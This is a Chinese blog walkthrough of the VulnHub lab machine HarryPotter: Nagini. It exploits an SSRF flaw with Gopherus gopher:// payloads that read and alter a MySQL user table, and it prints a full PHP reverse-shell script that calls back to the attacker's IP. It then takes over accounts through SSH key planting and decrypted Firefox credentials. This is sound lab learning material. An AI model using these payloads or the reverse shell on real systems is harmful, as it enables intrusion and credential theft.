vulnhub靶场之HARRYPOTTER:NAGINI

博客 动态
0 221
羽尘
羽尘 2023-03-07 10:26:27
悬赏:0 积分 收藏

vulnhub靶场之HARRYPOTTER: NAGINI

准备:

攻击机:虚拟机kali、本机win10。

靶机:HarryPotter: Nagini,下载地址:https://download.vulnhub.com/harrypotter/Nagini.ova,下载后直接vbox打开即可。

知识点:shell反弹、ssrf漏洞、joomla框架扫描、http3环境搭建、Gopherus工具使用、firefox_decrypt工具使用、敏感信息发现、密钥登录。

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.2,显示开放了22端口、80端口,开放了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.2 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现:note.txt、joomla目录。

访问下note.txt文件,命令:http://172.20.10.2/note.txt,获得提示信息,告诉我们要使用http3访问。

使用gobuster进行二级目录扫描,命令:gobuster dir -u http://172.20.10.2/joomla -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了很多的文件和目录,访问下目录和文件信息,但是并没有发现有用的信息。

3.框架扫描

访问:http://172.20.10.2/joomla/显示是一个cms系统,使用joomlascan扫描以下,命令:joomscan --url http://172.20.10.2/joomla,发现其版本信息:Joomla 3.9.25和一个备份文件:configuration.php.bak。搜索cms的对用版本的漏洞信息,也只有一个xss的。

查看configuration.php.bak文件,只获得了账户信息和数据库信息:goblin、joomla,但是未获得密码信息。其中localhost应该是只允许本地访问。

二:http3访问

1.http3环境搭建

https需要使用quiche进行搭建,使用quiche我们需要先安装下rust,命令:curl https://sh.rustup.rs -sSf | sh,选择1默认安装就行。

然后我们就下载下quiche,命令:git clone --recursive https://github.com/cloudflare/quiche。

下载完成后,进入quiche目录,然后依次执行cargo build --examples和cargo test。

2.http3利用

环境搭建好后进入quiche/target/debug/examples目录,然后利用http3进行访问,命令:./http3-client https://172.20.10.2,成功获得internalResourceFeTcher.php文件。第二条说是不允许放bak,但是前面joomlascan已经扫出来了。

访问http://172.20.10.2/internalResourceFeTcher.php,输入:https://www.baidu.com/进行测试,发现可以跳转到百度页面,猜测这里存在ssrf漏洞。

三:ssrf漏洞利用与Gopherus工具使用

利用ssrf漏洞怎么能少了Gopherus,先下载下Gopherus,命令:git clone https://github.com/tarunkant/Gopherus.git,然后根据获得数据库用户信息:goblin和数据库名称:joomla,设置参数。

利用生成的payload访问在http://172.20.10.2/internalResourceFeTcher.php?url=进行访问,成功获得数据库内的表信息:joomla_users。需要多次刷新访问才会回显信息。

获取表信息
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

查看下表:joomla_users内的数据信息。

获取表内数据
 gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%27%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%3b%01%00%00%00%01

仔细查看获得表信息,可以发现是存在id、name、username、email、password、block等属性的,因此和下面信息对应我们可以发现账户名应该为:site_admin,前面的super user对应的应该是name属性,表示其权限。其密码是加密的,那我们就直接写入一个md5密码值,这样我们就可以直接登录了。写入的md5值:bf40ec77d7062a4c2986da0636d8afd7。

更新下password的值。值为:upfine。

更新password的值
 gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6c%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%55%50%44%41%54%45%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%53%45%54%20%70%61%73%73%77%6f%72%64%3d%27%62%66%34%30%65%63%37%37%64%37%30%36%32%61%34%63%32%39%38%36%64%61%30%36%33%36%64%38%61%66%64%37%27%20%77%68%65%72%65%20%75%73%65%72%6e%61%6d%65%3d%27%73%69%74%65%5f%61%64%6d%69%6e%27%3b%01%00%00%00%01

四:获取shell

利用更改之后的密码值和获得账户信息:site_admin/upfine在:http://172.20.10.2/joomla/administrator/index.php进行登录。

在首页的Templates中选择Templates,然后选择Protostar Details and Files主题,修改其error.php代码并进行保存,然后访问http://172.20.10.2/joomla/templates/protostar/error.php,成功获得shell权限。

shell反弹代码
 <?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.3';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

五:提权

1.提权至snape

在shell中一番查找,先是在/var/www/html目录下发现:horcrux1.txt文件,访问该文件获得:horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}。

之后在/home/hermoine目录下发现horcrux2.txt文件,但是该文件缺少访问权限。顺便进了.ssh目录,但是该目录啥都没有。

在/home/snape目录下发现隐藏文件.creds.txt,访问该文件获得base64加密的字符串:TG92ZUBsaWxseQ==,解密后得到:Love@lilly。

使用获得密码信息:Love@lilly成功切换到snape账户。

2.提权至hermoine

切换成snape账户后对horcrux2.txt文件仍是缺少访问权限。

查找下hermoine账户的特殊文件,命令:find / -user hermoine -type f 2>/dev/null,发现:/home/hermoine/bin/su_cp。

执行下该文件,发现该文件可以使用--help进行帮助,查看下文件帮助告诉我们可以进行文件的复制。

那我们就可以使用ssh-keygen生成一个ssh密钥,复制到 hermoine用户中,制作ssh密匙:ssh-keygen -f upfine。

更改下公钥名称并上传到靶机,命令:cp upfine.pub authorized_keys和wget http://172.20.10.3:8000/authorized_keys。需要赋予640权限。

然后利用su_cp将authorized_keys文件复制到/home/hermoine/.ssh/authorized_keys,命令:./su_cp /tmp/authorized_keys /home/hermoine/.ssh/authorized_keys。

然后使用私钥进行登录并未成功,不知道具体的原因(可能是因为第一次忘记赋予640权限的问题,后续赋权后进行复制文件,也无法进行登录,所以干脆删除虚拟机重新装的,然后直接使用snape账户登录的),然后重新操作上面步骤就获得了hermoine权限。

获得hermoine权限后访问horcrux2.txt,获得信息值。

3.提权至root

a.投递.mozilla到本地

在hermoine目录下发现.mozilla文件,在靶机中开启web服务,将该文件下载到本地环境中,命令:wget http://172.20.10.2:8000/.mozilla。

但是这种命令下载下来的文件属性被改变了,导致无法进行解密,因此使用scp将firefox文件投递到本地kali中,命令:scp -rp .mozilla/firefox kali@172.20.10.7:/home/kali/forTest,会提示输入密码,密码是kali的密码。

b.firefox_decrypt使用

首先下载firefox_decrypt工具,命令:git clone https://github.com/unode/firefox_decrypt.git,然后对firefox文件进行解密,成功获得账户和密码信息:root/@Alohomora#123。

c.提权

利用获得的账户和密码信息:root/@Alohomora#123切换到root账户。

在/root目录下发现horcrux3.txt文件,读取该文件。

posted @ 2023-03-07 10:01  upfine  阅读(0)  评论(0编辑  收藏  举报
回帖
    羽尘

    羽尘 (王者 段位)

    2335 积分 (2)粉丝 (11)源码

     

    温馨提示

    亦奇源码

    最新会员